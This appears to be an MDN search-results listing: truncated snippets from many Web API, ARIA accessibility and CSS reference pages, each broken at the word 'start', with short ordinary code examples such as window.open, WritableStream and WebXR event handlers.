starts after the current script block finishes executing. the window creation and the loading of the referenced resource are done asynchronously. examples var windowobjectreference; var windowfeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; function openrequestedpopup() { windowobjectreference = window.open("http://www.cnn.com/", "cnn_windowname", windowfeatures); } ...
window.postMessage() - Web APIs
example /* * in window a's scripts, with a being on <http://example.com:8080>: */ var popup = window.open(/* popup details */); // when the popup has fully loaded, if not blocked by a popup blocker: // this does nothing, assuming the window hasn't changed its location. popup.postmessage("the user is 'bob' and the password is 'secret'", ...
Window.speechSynthesis - Web APIs
of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want. inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and
start the utterance speaking via the speechsynthesis.speak() method. var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('optio...
Window: transitionrun event - Web APIs
element that had the transition applied. you can listen for this event on the window interface to handle it in the capture or bubbling phases. for full details on this event please see the page on htmlelement: transitionrun. examples this code adds a listener to the transitionrun event: window.addeventlistener('transitionrun', () => { console.log('transition is running but hasn't necessarily
started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): window.ontransitionrun = () => { console.log('transition
started running'); }; see a live example of this event. specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification. working draft initial ...
WindowEventHandlers.onafterprint - Web APIs
the onafterprint property of the windoweventhandlers mixin is the eventhandler for processing afterprint events for the current window. these events are raised after the user prints, or if they abort the print dialog. the beforeprint and afterprint events allow pages to change their content before printing
starts (perhaps to remove a banner, for example) and then revert those changes after printing has completed. in general, you should prefer the use of an @media print css at-rule, but it may be necessary to use these events in some cases. syntax window.addeventlistener("afterprint", function(event) { ... }); window.onafterprint = function(event) { ... }; specification specification status comment html living standardthe definition of 'onafterprint' in that specifi...
WindowEventHandlers.onbeforeprint - Web APIs
the onbeforeprint property of the windoweventhandlers mixin is the eventhandler for processing beforeprint events for the current window. these events are raised before the print dialog window is opened. the beforeprint and afterprint events allow pages to change their content before printing
starts (perhaps to remove a banner, for example) and then revert those changes after printing has completed. in general, you should prefer the use of an @media print css at-rule, but it may be necessary to use these events in some cases. syntax window.addeventlistener("beforeprint", function(event) { ... }); window.onbeforeprint = function(event) { ... }; polyfill safari does not implement these events, but you can create an equivalent result to the beforeprint event with window.matchmedia('print').
WindowOrWorkerGlobalScope - Web APIs
ope.cleartimeout() cancels the delayed execution set using windoworworkerglobalscope.settimeout(). windoworworkerglobalscope.createimagebitmap() accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap. optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh. windoworworkerglobalscope.fetch()
starts the process of fetching a resource from the network. windoworworkerglobalscope.queuemicrotask() enqueues a microtask—a short function to be executed after execution of the javascript code completes and control isn't being returned to a javascript caller, but before handling callbacks and other tasks. this lets your code run without interfering with other, possibly higher priority, code, but ...
Worker() - Web APIs
worker. the value can be omit, same-origin, or include. if not specified, or if type is classic, the default used is omit (no credentials required). name: a domstring specifying an identifying name for the dedicatedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes. exceptions a securityerror is raised if the document is not allowed to
start workers, e.g. if the url has an invalid syntax or if the same-origin policy is violated. a networkerror is raised if the mime type of the worker script is incorrect. it should always be text/javascript. a syntaxerror is raised if aurl cannot be parsed. examples the following code snippet shows creation of a worker object using the worker() constructor and subsequent usage of the object: var...
WorkerGlobalScope.dump() - Web APIs
rglobalscope interface allows you to write a message to stdout — i.e. in your terminal, in firefox only. this is the same as firefox's window.dump, but for workers. syntax dump('my message\n'); parameters a domstring containing the message you want to send. returns void. example to write an output from your worker to your computer's terminal, you first have to run an instance of firefox
started from your command line/terminal. for example, on mac os x you'd run it using something like this (assuming you are inside the applications folder): ./firefox.app/contents/macos/firefox-bin -profile /tmp -no-remote now go into about:config and enable the browser.dom.window.dump.enabled pref. next, run a worker containing the following line: dump('test\n'); this should result in a "test" mes...
WorkerGlobalScope - Web APIs
ope.cleartimeout() cancels the delayed execution set using windoworworkerglobalscope.settimeout(). windoworworkerglobalscope.createimagebitmap() accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap. optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh. windoworworkerglobalscope.fetch()
starts the process of fetching a resource from the network. windoworworkerglobalscope.setinterval() schedules a function to execute every time a given number of milliseconds elapses. windoworworkerglobalscope.settimeout() schedules a function to execute in a given amount of time. deprecated methods workerglobalscope.close() discards any tasks queued in the workerglobalscope's event loop, effe...
WritableStream.WritableStream() - Web APIs
the writablestream() constructor creates a new writablestream object instance. syntax var writablestream = new writablestream(underlyingsink[, queuingstrategy]); parameters underlyingsink an object containing methods and properties that define how the constructed stream instance will behave. underlyingsink can contain the following:
start(controller) optional this is a method, called immediately when the object is constructed. the contents of this method are defined by the developer, and should aim to get access to the underlying sink. if this process is to be done asynchronously, it can return a promise to signal success or failure. the controller parameter passed to this method is a writablestreamdefaultcontroller. this can be used by the developer to control the stream durin...
WritableStreamDefaultController.error() - Web APIs
o an event outside the normal lifecycle of interactions with the underlying sink. syntax writablestreamdefaultcontroller.error(e); parameters e a domstring representing the error you want future interactions to fail with. return value undefined. exceptions typeerror the stream you are trying to error is not a writablestream. examples const writablestream = new writablestream({
start(controller) { // do stuff with controller // error stream if necessary controller.error('my error is broken'); }, write(chunk, controller) { ... }, close(controller) { ... }, abort(err) { ... } }); specifications specification status comment streamsthe definition of 'error()' in that specification. living standard initial defi...
WritableStreamDefaultController - Web APIs
a corresponding writablestreamdefaultcontroller instance to manipulate. constructor none. writablestreamdefaultcontroller instances are created automatically during writablestream construction. properties none. methods writablestreamdefaultcontroller.error() causes any future interactions with the associated stream to error. examples const writablestream = new writablestream({
start(controller) { // do stuff with controller // error stream if necessary controller.error('my stream is broken'); }, write(chunk, controller) { ... }, close(controller) { ... }, abort(err) { ... } }); specifications specification status comment streamsthe definition of 'writablestreamdefaultcontroller' in that specification. living...
XMLHttpRequest.upload - Web APIs
request upload property returns an xmlhttprequestupload object that can be observed to monitor an upload's progress. it is an opaque object, but because it's also an xmlhttprequesteventtarget, event listeners can be attached to track its process. the following events can be triggered on an upload object and used to monitor the upload: event event listener description load
start onload
start the upload has begun. progress onprogress periodically delivered to indicate the amount of progress made so far. abort onabort the upload operation was aborted. error onerror the upload failed due to an error. load onload the upload completed successfully. timeout ontimeout the upload timed out because a ...
XMLHttpRequest - Web APIs
he onabort property. error fired when the request encountered an error. also available via the onerror property. load fired when an xmlhttprequest transaction completes successfully. also available via the onload property. loadend fired when a request has completed, whether successfully (after load) or unsuccessfully (after abort or error). also available via the onloadend property. load
start fired when a request has
started to load data. also available via the onload
start property. progress fired periodically when a request receives more data. also available via the onprogress property. timeout fired when progress is terminated due to preset time expiring. also available via the ontimeout property. specifications specification status comment xml...
XMLHttpRequestEventTarget - Web APIs
abort event is received by this object. xmlhttprequesteventtarget.onerror contains the function to call when a request encounters an error and the error event is received by this object. xmlhttprequesteventtarget.onload contains the function to call when an http request returns after successfully fetching content and the load event is received by this object. xmlhttprequesteventtarget.onload
start contains the function that gets called when the http request first begins loading data and the load
start event is received by this object. xmlhttprequesteventtarget.onprogress contains the function that is called periodically with information about the progress of the request and the progress event is received by this object. xmlhttprequesteventtarget.ontimeout contains the function that is ...
XRBoundedReferenceSpace - Web APIs
as preset boundaries. this extends xrreferencespace, which describes an essentially unrestricted space around the viewer's position. these bounds are defined using an array of points, each of which defines a vertex in a polygon inside which the user is allowed to move. this is typically used when the xr system is capable of tracking the user's physical movement within a limited distance of their
starting position. the specified bounds may, in fact, describe the shape and size of the room the user is located in, in order to let the webxr site or application prevent the user from colliding with the walls or other obstacles in the real world. at a minimum, the boundaries indicate the area in which the xr device is capable of tracking the user's movement. see the article using bounded reference s...
XRInputSourceArray.forEach() - Web APIs
syntax xrinputsourcearray.foreach(callback, thisarg); parameters callback a function to execute once for each entry in the array xrinputsourcearray. the callback accepts up to three parameters: currentvalue a xrinputsource object which is the value of the item from within the xrinputsourcearray which is currently being processed. currentindex optional an integer value providing the index into the array at which the element given by currentvalue is located. ...
XRInputSourceArray.length - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray.length' in that specification. working draft initial definition. ...
XRInputSourceArray.values() - Web APIs
the xrinputsourcearray method values() returns a javascript iterator that can walk over the list of xrinputsource objects contained in the array, from first to last. syntax xrinputsourcearray.values(); parameters none. return value a javascript iterator that can be used to walk through the list of xrinputsource objects in the array,
starting with the first entry (at index 0) and proceeding straight through the list. examples this example snippet walks through each input and calls the function checkinput() with each returned value. for (const source of xrsession.inputsources.values()) { checkinput(source); } here, for...of is used to iterate over the array's contents. each pass through the loop, source is the next xrinputsource in the list. the loop exits once every input has ...
XRRigidTransform() - Web APIs
rm object which has been initialized to represent a transform matrix that would adjust the position and orientation of an object from the origin to the specified position and facing in the direction indicated by orientation. exceptions typeerror the value of the w coordinate in the specified position is not 1.0. examples in this example, the beginning of the animation of a scene is shown,
starting with a request for a reference space of a given type, then shifting the coordinate system based on a transform before requesting the first animation frame. let animationframerequestid = 0; xrsession.requestreferencespace("local-floor") .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform(viewerposition, viewerorientation)); animationfram...
XRRigidTransform.position - Web APIs
nslation component of the transform. syntax let pos = xrrigidtransform.position; value a read-only dompointreadonly indicating the 3d position component of the transform matrix. the units are meters. note: the w component of the point is always 1.0. ...
XRRigidTransform - Web APIs
ation in relation to the current reference space to use when creating a new reference space. it then requests the first animation frame callback by calling the session's requestanimationframe() method. xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(viewer
startposition, cubeorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); specifications specification status comment webxr device apithe definition of 'xrrigidtransform' in that specification. working draft initial definition. ...
XRSession.onselect - Web APIs
the onselect property of the xrsession object is the event handler for the select event, which is dispatched when a primary action is completed successfully by the user. this typically represents the pressing of a button or trigger, a hand gesture, or a spoken command. the select event is sent after tracking of the primary action begins, as announced by the select
start event, and immediately before the tracking of the primary action ends, which is announced by the selectend event. to learn more about how webxr actions work, see inputs and input sources. syntax xrsession.onselect = selecthandlerfunction; value an event handler function to be invoked when the xrsession receives a select event. example this example handles select event which occur on the user's main hand (as gi...
XRSession.onselectend - Web APIs
the onselectend attribute of the xrsession object is the event handler for the selectend event, which is dispatched when user finishes making some sort of selection by releasing a trigger, touchpad, or button, finishes speaking a command, or makes a hand gesture. for example, this might include releasing a button or joystick. note: not to be confused with xrsession.onselect
start and xrsession.onselect. syntax xrsession.onselectend = function(event) { ... } example xrsession.onselectend = function(event) { console.log("the user has completed a primary action.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectend' in that specification. working draft initial definition. ...
XRSession.onsqueeze - Web APIs
we know that there's no longer an object in hand. xrsession.onsqueeze = event => { if (event.inputsource.handedness == user.handedness) { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (user.heldobject && targetraypose) { dropobjectusingray(user.heldobject, targetraypose.transform.matrix): } } }; see the examples in the onsqueeze
start and onsqueezeend event handlers for the reset of the event handling related to this approach. specifications specification status comment webxr device apithe definition of 'xrsession.onsqueeze' in that specification. working draft initial definition. ...
XRSession.onsqueezeend - Web APIs
the squeeze action. the squeezeend event handler is where you handle closing out a squeeze action whether it was successfully completed or not. to learn more about how the sequence of squeeze events works, see primary squeeze actions in inputs and input sources. syntax xrsession.onsqueezeend = squeezeendhandlerfunction; value a function to be invoked whenever the xrsession receives a squeeze
start event, indicating the ending of a primary squeeze action. examples this snippet of code adds a simple handler for the squeezeend event, which responds only to events on the user's dominant hand. in response to the end of the squeeze operation, this code looks to see if there is an object currently being held by the user by checking to see if the variable user.heldobject contains a reference to ...
XRSession: select event - Web APIs
comon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onselect for details on how the select
start, select, and selectend events work, and how you should react to them, see primary actions in inputs and input sources. examples the following example uses addeventlistener() to set up a handler for the select event. the handler fetches the pose representing the target ray for tracked-pointer inputs and sends the pose's transform to a function called myhandleselectwithray(). xrsession.addeventl...
XRSession.updateRenderState() - Web APIs
pdaterenderstate() was called. the inlineverticalfieldofview property was set, but the session is immersive and therefore does not allow this property to be used. examples this example creates a webgl context that is compatible with an immersive xr device and then uses it to create an xrwebgllayer. updaterenderstate() is then called to associate the new xrwebgllayer. ...
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
when the returned promise resolves, we proceed by calling xrwebgllayer's getnativeframebufferscalefactor() static function to get the scale factor needed to reach the native resolution, and we then pass that into the webgllayer() constructor as the value of the framebufferscalefactor property in its layerinit dictionary, which i...
XSLT Basic Example - Web APIs
ocument that contains information (title, list of authors and body text) about an article and present it in an human readable form. figure 1 shows the source of the basic xslt example. the xml document (example.xml) contains the information about the article. using the ?xml-stylesheet? processing instruction, it links to the xslt stylesheet (example.xsl) via its href attribute. an xslt stylesheet
starts with the xsl:stylesheet element, which contains all the templates used to create the final output. the example in figure 1 has two templates - one that matches the root node and one that matches author nodes. the template that matches the root node outputs the article's title and then says to process all templates (via apply-templates) that match author nodes which are children of the authors no...
msCapsLockWarningOff - Web APIs
use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mscapslockwarningoff read/write property turns automatic caps lock warning on or off for validated password input fields. this proprietary property is specific to internet explorer and microsoft edge.
starting with internet explorer 10, input type=password fields will automatically display a warning if the caps lock is on. this property enables this warning to be disabled. syntax document.mscapslockwarningoff = true; value type: boolean false: default. automatic caps lock warning is turned on. true: automatic caps lock warning is turned off. example fiddle: http://jsfiddle.net/jonathansamps...
msWriteProfilerMark - Web APIs
not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mswriteprofilermark method writes a profiling event. this proprietary method is specific to internet explorer and microsoft edge. syntax window.mswriteprofilermark("
start-render"); parameters bstrprofilermarkname[in] an event name. type = string. this parameter may be null. return value type: hresult. if this method succeeds, it returns s_ok. otherwise, it returns an hresult error code. notes mswriteprofilermark enables you to inject dom based performance markers in addition to existing javascript api to learn exactly when parts of the page are being re...
ARIA Test Cases - Accessibility
ift+semicolon move to next landmark and move to previous landmark respectively. markup used: role = (one of the following): "application", "article", "banner", "complementary", "contentinfo", "directory", "document", "log", "main", "note", "navigation", "region", "search", "status" notes: screen readers may wish to provide some landmark-specific conveniences such as automatically
starting at "main" when reading the page after page load, or providing a special key to get to the search bar, etc. results: at firefox ie opera safari jaws 9 - - n/a n/a jaws 10 al: tested 2 and 4 with jaws 10.0.512u on nov 21, 2008 2. fail - no landmarks reported on page load but there are many in the source. pressing ; does not visit any o...
ARIA: alert role - Accessibility
if the user is expected to close the alert, then the alertdialog role should be used instead. description one of the five live region roles, the alert role is used to provide the user with important, and usually time-sensitive, information, and often to tell the user an element has been dynamically updated. the alert role is added to the node containing an alert message, not the element causing the alert to be triggered. alerts are assertive live regions. ...
ARIA: article role - Accessibility
of appropriate uses of the role="article", or preferably <article>, include blog posts, forum posts, a comment to a forum or blog post, a comment to a comment to a forum or blog post, any an item in a social media feed. associated wai-aria roles, states, and properties aria-posinset in the context of a feed, indicates the position of this particular article within that feed, based on a count
starting at 1. aria-setsize in the context of a feed, indicates how many article items there are within that feed. keyboard interactions this role does not support any specific keyboard interaction. required javascript features event handlers this role does not require any event handlers to be present. changing attribute values when constructing a feed, set the aria-posinset and aria-setsiz...
ARIA: feed role - Accessibility
ext of a feed, assistive technologies with a reading mode are responsible for: indicating which article contains the reading cursor by ensuring the article element or one of its descendants has dom focus. providing reading mode keys that move dom focus to the next and previous articles. providing reading mode keys for moving the reading cursor and dom focus past the end and before the
start of the feed. keyboard interaction supporting the following, or a similar, interface is recommended when focus is inside the feed: page down: move focus to next article. page up: move focus to previous article. control + end: move focus to the first focusable element after the feed. control + home: move focus to the first focusable element before the feed. if a feed is nested with...
ARIA: checkbox role - Accessibility
roles, states, and properties aria-checked the value of aria-checked defines the state of a checkbox. this attribute has one of three possible values: true the checkbox is checked false the checkbox is not checked mixed the checkbox is partially checked, or indeterminate tabindex="0" used to make it focusable so the assistive technology user can tab to it and
start reading right away. keyboard interactions key function space activates the checkbox required javascript required event handlers onclick handle mouse clicks that will change the state of the checkbox by changing the value of the aria-checked attribute and the appearance of the checkbox so it appears checked or unchecked to the sighted user onkeypress handle...
Accessibility: What users can do to browse more safely - Accessibility
pport for css prefers-reduced-motion in october 2018. chrome 74 and above (desktop) chrome 74 added support for reduced-motion-query, it has even added support to detect whether the user has requested a reduced motion experience. the user would access this through an accessibility interface, as seen below. css transition events are now supported. ...
Accessibility Information for Web Authors - Accessibility
web content accessibility guidelines (wcag) 1.0 another important set of guidelines from the w3c web accessibility initiative (wai). the european union is looking to base their upcoming accessibility regulations on these guidelines. these guidelines are discussed on the wai interest group discussion list. ...
Keyboard-navigable JavaScript widgets - Accessibility
that receive focus programatically ie will not automatically draw the focus outline for items that programatically receive focus. choose between changing the background color via something like this.style.backgroundcolor = "gray"; or add a dotted border via this.style.border = "1px dotted invert". in the dotted border case you will need to make sure those elements have an invisible 1px border to
start with, so that the element doesn't grow when the border style is applied (borders take up space, and ie doesn't implement css outlines). prevent used key events from performing browser functions if your widget handles a key event, prevent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. if your event handler retur...
Accessibility
hardware, software, language, culture, location, or physical or mental ability. when the web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability." (w3c - accessibility) key tutorials the mdn accessibility learning area contains modern, up-to-date tutorials covering accessibility essentials: what is accessibility? this article
starts off the module with a good look at what accessibility actually is — this includes what groups of people we need to consider and why, what tools different people use to interact with the web, and how we can make accessibility part of our web development workflow. html: a good basis for accessibility a great deal of web content can be made accessible just by making sure the correct html elemen...
-moz-image-rect - CSS: Cascading Style Sheets
within a larger <div> block whose primary purpose is to receive click events and dispatch them to our javascript code. the javascript code this code handles the click event when the container receives a mouse click. ...
:-moz-first-node - CSS: Cascading Style Sheets
the :-moz-first-node css pseudo-class is a mozilla extension that represents any element that is the first child node of some other element. it differs from :first-child because it does not match a first-child element with (non-whitespace) text before it. note: any whitespace at the
start of an element is ignored for the determination of :-moz-first-node. syntax :-moz-first-node examples css span:-moz-first-node { background-color: lime; } html <p> <span>this matches!</span> <span>this doesn't match.</span> </p> <p> blahblah. <span>this doesn't match because it's preceded by text.</span> </p> result specifications not part of any standard. ...
:-moz-ui-invalid - CSS: Cascading Style Sheets
has focus, and the value was valid (including empty) when it gained focus, do not apply the pseudo-class. if the control has focus, and the value was invalid when it gained focus, re-validate on every keystroke. if the element is required, the preceding rules apply only if the user has changed the value or attempted to submit the form. the result is that if the control was valid when the user
started interacting with it, the validity styling is changed only when the user shifts focus to another control. however, if the user is trying to correct a previously-flagged value, the control shows immediately when the value becomes valid. required items have the pseudo-class applied only if the user changes them or attempts to submit an unchanged valid value. by default, gecko applies a style that...
:-moz-ui-valid - CSS: Cascading Style Sheets
ntrol has focus, and the value was valid (including empty) when it gained focus, apply this pseudo-class. if the control has focus, and the value was invalid when it gained focus, re-validate on every keystroke. if the element is required, the preceding rules apply only if the user has changed the value or attempted to submit the form. the result is that if the control was valid when the user
started interacting with it, the validity styling is changed only when the user shifts focus to another control. however, if the user is trying to correct a previously-flagged value, the control shows immediately when the value becomes valid. required items are flagged as invalid only if the user changes them or attempts to submit an unchanged invalid value. syntax syntax not found in db! specificat...
::-moz-focus-inner - CSS: Cascading Style Sheets
ttons that support it doesn't match anything and has no effect. syntax syntax not found in db! examples html <input type="submit" value="input"/> <button type="submit">button</button> css button::-moz-focus-inner, input[type="color"]::-moz-focus-inner, input[type="reset"]::-moz-focus-inner, input[type="button"]::-moz-focus-inner, input[type="submit"]::-moz-focus-inner { padding-block-
start: 0px; padding-inline-end: 2px; padding-block-end: 0px; padding-inline-
start: 2px; border: 1px dotted red; } result specifications not part of any standard. ...
:active - CSS: Cascading Style Sheets
/* selects any <a> that is being activated */ a:active { color: red; } the :active pseudo-class is commonly used on <a> and <button> elements. other common targets of this pseudo-class include elements that contain an activated element, and form elements that are being activated through their associated <label>. ...
negative - CSS: Cascading Style Sheets
lor-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples rendering negative counters html <ul class="list"
start="-3"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style neg { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; negative: "(-" ")"; } .list { list-style: neg; } result specifications specification status comment css counter styles level 3the definition of 'system' in that specificati...
pad - CSS: Cascading Style Sheets
n if a marker representation is smaller than the specified pad length, then the marker will be padded with the specified pad symbol. marker representations longer than the pad length are constructed as normal. pad descriptor takes the minimum marker length as an integer and a symbol to be used for padding as the second parameter. a common usage of the pad descriptor is when you need your list to
start numbering from 01 and go through 02, 03 and so on, instead of just 1, 2, 3... formal definition related at-rule@counter-styleinitial value0 ""computed valueas specified formal syntax <integer> && <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-ta...
system - CSS: Cascading Style Sheets
tends decimal; this may take one of three forms: one of the keyword values cyclic, numeric, alphabetic, symbolic, additive, or fixed. the keyword value fixed along with an integer. the keyword value or extends along with a @counter-style name. cyclic cycles through the list of symbols provided. once the end of the list of symbols is reached, it will loop back to the beginning and
start over. this system is useful for simple bullet styles with just one symbol, or for styles having multiple symbols. at least one symbol must be specified in the symbols descriptor, or the counter style is not valid. fixed defines a finite set of symbols are specified. once the system has looped through all the specified symbols, it will fall back. this system is useful in cases where the counter ...
@counter-style - CSS: Cascading Style Sheets
entation. suffixes come after the marker representation. range defines the range of values over which the counter style is applicable. if a counter style is used to represent a counter value outside of its ranges, the counter style will drop back to its fallback style. pad is used when you need the marker representations to be of a minimum length. for example if you want the counters to
start at 01 and go through 02, 03, 04 etc, then the pad descriptor is to be used. for representations larger than the specified pad value, the marker is constructed as normal. fallback specifies a system to fall back into if either the specified system is unable to construct the representation of a counter value or if the counter value outside the specified range. if the specified fallback also fa...
Attribute selectors - CSS: Cascading Style Sheets
le" anywhere in the url */ a[href*="example"] { background-color: silver; } /* links with "insensitive" anywhere in the url, regardless of capitalization */ a[href*="insensitive" i] { color: cyan; } /* links with "case" anywhere in the url, with matching capitalization */ a[href*="case" s] { color: pink; } /* links that end in ".org" */ a[href$=".org"] { color: red; } /* links that
start with "https" and end in ".org" */ a[href^="https"][href$=".org"] { color: green; } html <ul> <li><a href="#internal">internal link</a></li> <li><a href="http://example.com">example link</a></li> <li><a href="#insensitive">insensitive internal link</a></li> <li><a href="http://example.org">example org link</a></li> <li><a href="https://example.org">example https org link</a></li> </...
Detecting CSS animation support - CSS: Cascading Style Sheets
we assume that animation is not supported by setting animation to false. we set the animationstring to animation which is the property we want to set later on. we create an array of browser prefixes to loop over and we set pfx to an empty string. then we check if the css animation-name property on the style collection for the element specified by the variable elem i...
Using URL values for the cursor property - CSS: Cascading Style Sheets
separately */ the first number is the x-coordinate, and the second number is the y-coordinate. the example will set the hotspot to be the pixel at (4,12) from the top left (0,0). limitations all image formats supported by gecko can be used. this means that you can use png, gif, jpg, bmp, cur, etc. images. ani is not supported. an animated png or gif will not create an animated cursor. note:
starting with gecko 2.0, gecko also supports the svg image format for cursors. however, the svg image must contain a length-valued (not percentage-valued) height and width on its root svg node. javascript, css animation, and declarative smil inside an svg image are ignored; you can't use svg to create an animated cursor, for example. in gecko (firefox) the limit of the cursor size is 128×128px. larg...
Handling content breaks in multicol - CSS: Cascading Style Sheets
ke the following values when in a multicol context: auto avoid avoid-column column in this next example, we are forcing a column break before an h2 element. breaks between lines the orphans and widows properties are also useful. the orphans property controls the number of lines left on their own at the end of a fragment. the widows property controls the number left on their own at the
start of a fragment. the orphans and widows properties take an integer as a value, which represents the number of lines to keep together at the end and
start of a fragment, respectively. note that these properties only work inside a block container, such as a paragraph. if the block has fewer lines in it than the number that you specify as a value, all lines will be kept together. in the example belo...
Spanning and Balancing Columns - CSS: Cascading Style Sheets
container could become a spanner, as could a heading nested inside a section nested inside the multicol container. in the example below, the h2 element is set to column-span: all and spans all of the columns. in this second example, the heading is inside an <article> element, yet still spans the content as expected. when a spanner is introduced, it breaks the flow of columns and columns re
start after the spanner, effectively creating a new set of column boxes. the content does not jump over a spanning element. limitations of column-span in the current level 1 specification there are only two allowable values for column-span. the value none is the initial value and means the item does not span, remaining within a column. the value all means the item spans all of the columns. you cannot...
Using multi-column layouts - CSS: Cascading Style Sheets
} result height balancing the css3 column specification requires that the column heights must be balanced: that is, the browser automatically sets the maximum column height so that the heights of the content in each column are approximately equal. firefox does this. however, in some situations it is also useful to set the maximum height of the columns explicitly, and then lay out content
starting at the first column and creating as many columns as necessary, possibly overflowing to the right. therefore, if the height is constrained, by setting the css height or max-height properties on a multi-column block, each column is allowed to grow to that height and no further before adding new column. this mode is also much more efficient for layout. column gaps there is a gap between columns...
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
more feature rich language, maintaining one huge specification became problematic, with different parts of css moving on at different speeds. css was therefore modularised, and the various css specifications are different modules that make up css today. these modules relate to each other, and are at different stages of development. the box alignment module for many people the first reason they
start to look at flexbox is because of the ability to properly align flex items inside a flex container. flexbox provides access to properties that allow the alignment of items on their cross axis and justification of items on the main axis. these properties
started life in the flexbox specification, but are now also part of the box alignment specification. this specification details how alignment wor...
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
on flow layout. in the writing modes introduction, the specification says, “a writing mode in css is determined by the writing-mode, direction, and text-orientation properties. it is defined primarily in terms of its inline base direction and block flow direction.” the specification defines the inline base direction as the direction in which content is ordered on a line. this defines the
start and end of the inline direction. the
start is where sentences
start and the end is where a line of text ends before it would begin to wrap onto a new line. the block flow direction is the direction in which boxes, for example paragraphs, stack in that writing mode. the css writing-mode property controls the block flow direction. if you want to change your page, or part of your page, to vertical-...
CSS Flow Layout - CSS: Cascading Style Sheets
. once something is taken out of flow it works independently. in normal flow, inline elements display in the inline direction, that is in the direction words are displayed in a sentence according to the writing mode of the document. block elements display one after the other, as paragraphs do in the writing mode of that document. in english therefore, inline elements display one after the other,
starting on the left, and block elements
start at the top and move down the page. basic example the following example demonstrates block and inline level boxes. the two paragraph elements with a green border are block level, displaying one under the other. the first sentence also includes a span element with a blue background. this is inline level and therefore displays in place in the sentence. ...
Variable fonts guide - CSS: Cascading Style Sheets
le fonts are an evolution of the opentype font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style. they let you access all the variations contained in a given font file via css and a single @font-face reference. this article will give you all you need to know to get you
started using variable fonts. warning: in order to use variable fonts on your operating system, you need to make sure that it is up to date. for example linux oses need the latest linux freetype version, and macos prior to 10.13 does not support variable fonts. if your operating system is not up to date, you will not be able to use variable fonts in web pages or the firefox developer tools. variabl...
CSS Fonts - CSS: Cascading Style Sheets
e provides you with all you need to know about using opentype font features in css. variable fonts guide variable fonts are an evolution of the opentype font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style. this article will give you all you need to know to get you
started using variable fonts. specifications specification status comment css fonts module level 4 working draft adds font-variation-settings (and related higher-level properties) and font-optical-sizing. css fonts module level 3 candidate recommendation adds font-feature-settings (and related higher-level properties) css level 2 (revision 1)...
CSS Grid Layout - CSS: Cascading Style Sheets
{ grid-column: 2 / 4; grid-row: 1 / 3; } .three { grid-column: 1; grid-row: 2 / 5; } .four { grid-column: 3; grid-row: 3; } .five { grid-column: 2; grid-row: 4; } .six { grid-column: 3; grid-row: 4; } reference css properties grid-template-columns grid-template-rows grid-template-areas grid-template grid-auto-columns grid-auto-rows grid-auto-flow grid grid-row-
start grid-column-
start grid-row-end grid-column-end grid-row grid-column grid-area row-gap column-gap gap css functions repeat() minmax() fit-content() css data types <flex> glossary entries grid grid lines grid tracks grid cell grid area gutters grid axis grid row grid column guides basic concepts of grid layout relationship of grid layout to other layo...
Stacking context example 1 - CSS: Cascading Style Sheets
in the root stacking context we have two divs (div #1 and div #3), both relatively positioned, but without z-index properties. inside div #1 there is an absolutely positioned div #2, while in div #3 there is an absolutely positioned div #4, both without z-index properties. the only stacking context is the root context. without z-indexes, elements are stacked in order of occurrence. if div #2 is assigned a positive (non-zero and non-auto) z-index value, it is rendered above all the other divs. ...
Basic Shapes - CSS: Cascading Style Sheets
inset(20px 10px round 10px); } in the example below we have an inset() shape used to pull content over the floated element. change the offset values to see how the shape changes. you can also add the box value that you wish to use as a reference box. in the example below change the reference box from margin-box to border-box, padding-box or content-box to see how the reference box used as the
starting point before offsets are calculated changes. circle() the circle() value for shape-outside can accept two possible arguments. the first is the shape-radius. both circle() and ellipse() values for shape-outside are specified as accepting this argument of <shape-radius>. this argument can be a length or percentage but can also be one of the keywords closest-side or farthest-side. the keywo...
Overview of CSS Shapes - CSS: Cascading Style Sheets
